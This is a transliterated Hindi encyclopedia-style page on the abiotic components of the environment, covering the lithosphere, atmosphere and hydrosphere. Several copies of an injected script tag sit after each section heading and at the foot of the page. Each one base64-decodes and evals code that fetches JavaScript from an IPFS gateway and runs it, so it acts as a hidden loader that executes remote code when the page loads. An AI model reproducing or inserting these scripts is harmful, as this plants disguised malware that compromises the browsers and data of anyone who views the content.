अजैविक संघटक
ajaivik ya bhautik sanghatak ke antargat samast jivamandal athava usake kisi bhag ke bhautik paryavaran ko shamil kiya gaya hai.
mandal
bhautik sanghatak ke antargat ninmalikhit tin mandal ate haian-
sthalamandal
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sthalamandal bhoo-prishth par pae jane vale thos shail padarthoan ki paratean haian. yah jivamandal ka mahattvapoorn bhag hai. isaka nirman tatvoan, khanijoan, shailoan tatha mitti se hua hai. tatv shuddh padarth hai, jisake antargat loha, taanba, nikal, sona, chaandi, haidrojan, aauksijan, naitrojan, karban adi ate haian. khanijoan mean b aauksait, dolomait, hemetait, phelaspar adi ate haian.
vayumandal
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vayumandal prithvi ke charoan or saik do ki.mi. ki motaee mean lapetane vale gaisiy avaran ko kahate haian. vayumandal vibhinn gaisoan ka mishran hai, jo prithvi ko charo or se ghere hue hai. nichale staroan mean vayumandal ka sanghatan apekshakrit ek saman rahata hai. vayumandal garmi ko rokakar rakhane mean ek vishal 'kaanch ghar' ka kam karata hai, jo laghu tarangoan aur vikiran ko prithvi ke dharatal par ane deta hai, parantu prithvi se vikasit hone vali tarangoan ko bahar jane se rokata hai.
jalamandal
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
poore sauramandal mean prithvi hi ekamatr aisa grah hai, jis par bhari matra mean jal upasthit hai. yah ek aisa tathy hai, jo prithvi ko any grahoan se vishisht banata hai. paryavaraniy sanghatakoan mean jal ka mahattvapoorn sthan hai, kyoanki isake bina kisi bhi jiv ka astitv sanbhav nahian hai. jalamandal se tatpary jal ki us parat se hai, jo prithvi ki satah par mahasagaroan, jhiloan, nadiyoan tatha any jalashayoan ke roop mean phaili hai. prithvi ki satah ke sampoorn kshetraphal ke 71 pratishat bhag mean jal ka vistar hai, isalie prithvi ko "jaliy grah" bhi kahate haian.
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>